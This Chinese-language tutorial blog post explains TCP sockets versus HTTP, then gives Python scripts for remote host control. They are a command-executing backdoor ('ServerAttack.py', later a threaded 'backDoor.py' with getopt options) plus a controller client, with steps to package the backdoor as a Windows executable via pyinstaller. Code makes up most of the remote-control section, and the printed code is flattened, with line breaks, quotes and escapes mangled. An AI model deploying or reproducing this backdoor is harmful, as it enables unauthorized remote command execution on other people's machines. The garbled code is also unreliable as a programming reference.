Python实现Socket通信建立TCP反向连接

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本文将记录学习基于 Socket 通信机制建立 TCP 反向连接，借助 Python 脚本实现主机远程控制的目的。

我们在传输数据时，可以只使用（传输层）TCP/IP 协议，但是那样的话，如果没有应用层，便无法识别数据内容，如果想要使传输的数据有意义，则必须使用到应用层协议，应用层协议有很多，比如 HTTP、FTP、TELNET 等，也可以自己定义应用层协议。而 Socket 是对 TCP/IP 协议的封装，Socket 本身并不是协议，而是一个调用接口(API)，通过 Socket 我们才能使用 TCP/IP 协议。

HTTP 连接与 Socket 连接的区别

HTTP 是短连接，Socket (基于 TCP 协议的)是长连接。尽管 HTTP1.1 开始支持持久连接，但仍无法保证始终连接。而 Socket 连接一旦建立 TCP 三次握手，除非一方主动断开，否则连接状态一直保持。 HTTP连接，服务端无法主动发消息，Socket 连接，双方请求的发送无先后限制。这点就比较重要了，因为它将决定二者分别适合应用在什么场景下。HTTP 采用“请求-响应”机制，在客户端还没发送消息给服务端前，服务端无法推送消息给客户端。必须满足客户端发送消息在前，服务端回复在后。Socket 连接双方类似 peer2peer 的关系，一方随时可以向另一方喊话。

什么时候该用 HTTP，什么时候该用 Socket？

用 HTTP 的情况：双方不需要时刻保持连接在线，比如客户端资源的获取、文件上传等。 用 Socket 的情况：大部分即时通讯应用(QQ、微信)、聊天室、苹果APNs等。

Python3 关于 Socket 网络编程的相关语法知识可以参见：Python3 网络编程。

远程控制

下面开始来看看如何借助 Python 实现对目标主机的远程控制。

脚本编写

ServerAttack.py 受控端脚本如下：

import socketimport osip = '' # 空表示可连接所有主机port = 5555 # 设置端口s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 对象s 使用基于tcp协议的网络套接字s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # 关闭后不需要保存状态可以立即开启s.bind((ip, port)) # 对象s 开始绑定ip和端口s.listen(10)# 启动监听状态，设置队列中等待连接服务器的最大请求数10conn, addr = s.accept() # 当与别人建立连接 addr,conn 变量分别存对方ip和连接的对象print('已建立远程连接：', addr) # 显示对方地址while True: data = conn.recv(1024) # 接收对方字符串 #如果对方不发数据会卡住 if data == b'q':# 接收到程序终止信号则中断连接break data = str(data, encoding='utf8') # 将数据转换为字符串类型 print('远程主机请求的命令：', data) f = os.popen(data) # 可以将命令的内容以读取的方式返回 data2 = f.read() if data2 == '':conn.send(b'finish') else:conn.send(bytes(data2, encoding='utf8')) # 发送命令运行结果conn.close() # 断开连接s.close() # 关闭套结字

ClientAttack.py 控制端脚本如下：

import socketip = '192.168.146.126' # 对方服务器ip地址port = 5555 # 对方服务器的端口s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 对象s使用基于tcp协议的网络套接字s.connect((ip, port)) # 创建socket连接while True: data = input('请输入命令：') data = bytes(data, encoding='utf8') s.send(data) # 发送数据给对方 data2 = s.recv(1024) # 接收返回的数据 print(str(data2, encoding='utf8')) if data == b'q':breaks.close()

效果演示

1、Linux 远控

将 ServerAttack.py 受控端脚本拷贝至 Linux 系统并运行，同时 Win10 物理机运行 ClientAttack.py 控制端脚本，可实现远程连接控制：

2、Windows 远控

使用 pyinstaller 打包 ServerAttack.py 生成 ServerAttack.exe 可执行文件（pyinstaller -F ServerAttack.py），然后在 Win7 虚拟机运行生成的 ServerAttack.exe 文件，效果如下：

脚本优化

下面使用多线程、脚本参数设置、脚本帮助提示、客户端服务端代码集成来优化上述实现远程控制的脚本。

getopt ()

Python 中 getopt 模块是专门用来处理命令行参数的，函数格式：

getopt(args, shortopts, longopts = [])

参数解析如下：

参数 释义 补充 args 要解析的参数列表 一般是sys.argv[1:]，表示获取的参数不包括当前执行的 python 脚本名称 shortopts 要识别的短格式 (-) 选项字符串，如果后接:表示需要给定参数 如ab:c:，表示识别 -a, -b 和 -c 的短选项，其中 -b 和 -c 需要后接参数 longopts = [] 要识别的长格式(–)选项，如果后接=表示需要给定参数 如[“help”, “user=”, “password=”]，表示识别--help, --user=root, --password=123456的长选项

函数返回值由两个元素组成：

第一个是 (option, value) 元组的列表，(option, value) 元组中的 option 表示包含-或--前缀的选项，value 表示该 option 对应的参数，可以为空字符串表示无参数； 第二个是 args 剥离短选项及其参数和长选项及其参数之后剩余的参数列表。完整代码

import socketimport getoptimport sysimport subprocessfrom threading import Threaddef main(): target = '' # 目标IP port = 0 # 目标端口 listen = False help = False # 利用getopt模块从命令行获取参数，sys.argv[1:]可以过滤掉第一个参数（第一个参数是脚本的名称，它不应该作为参数进行解析） opts, args = getopt.getopt(sys.argv[1:], 't:p:hl') for o, a in opts:if o == '-t': target = aelif o == '-p': port = int(a)elif o == '-h': help = Trueelif o == '-l': listen = Trueelse: # 断言，传入的参数有误 assert False, 'Unhandled Option' # 输出帮助文档 if help:usage() # 获分客户端和服务端 if listen:server_handle(port) else:client_handle(target, port)# 受控端def server_handle(port): # 创建socket通道 server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 绑定 server.bind((’0.0.0.0’, port)) # 监听 server.listen(10) print('[*] Listening on 0.0.0.0:%d' % port) while True:client_socket, addr = server.accept()print('[*] Accept connection from %s:%d' % (addr[0], addr[1]))t = Thread(target=run_command, args=(client_socket, server,))t.start()# 控制端,发送命令，接收受控端命令行的回显内容def client_handle(target, port): # 创建socket通道 client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 连接服务器 client.connect((target, port)) # 接收数据 while True:recv_len = 1# 接收到的数据是utf-8resBuffer = ''.encode(’utf-8’)while recv_len: data = client.recv(4096) recv_len = len(data) resBuffer += data if recv_len < 4096:break# 在windows下中文会乱码，所以转成GBKprint(resBuffer.decode(’gbk’), end='')# 接收命令，发送命令需要将命令转成byte，并且编码是utf-8buffer = input('')if buffer.encode(’utf-8’) == b'quit': breakbuffer += 'n'client.send(buffer.encode(’utf-8’)) client.close()# 执行命令涵数def run_command(client_socket,s): while True:# 发送命令给客户端client_socket.send(b'shell_>')# 定义接收命令byte类型变量cmd_buffer = ''.encode(’utf-8’)# 接收客户端发过来的消息，直到预到换行，代表客户端消息输入完成while b'n' not in cmd_buffer: cmd_buffer += client_socket.recv(1024)if cmd_buffer == b'quit': break# 将完整的byte变量消息转成字符串cmd_buffer = cmd_buffer.decode()try: # 通过隧道执行命令并以byte数据类型返回输出的数据 out = subprocess.check_output(cmd_buffer, stderr=subprocess.STDOUT, shell=True) # 将返回的数据发送给客户端 client_socket.send(out)except: client_socket.send(b'faild to execute the command') client_socket.close() # 断开连接 s.close() # 关闭套结字 exit(0)# 输出帮助信息def usage(): print('help info : python backDoor.py -h') print('client : python backDoor.py -t [target] -p [port]') print('server : python backDoor.py -lp [port]') print('Exit ：Input quit to exit ') sys.exit()if __name__ == '__main__': main()

效果演示

获取脚本帮助提示、进行远程连接：

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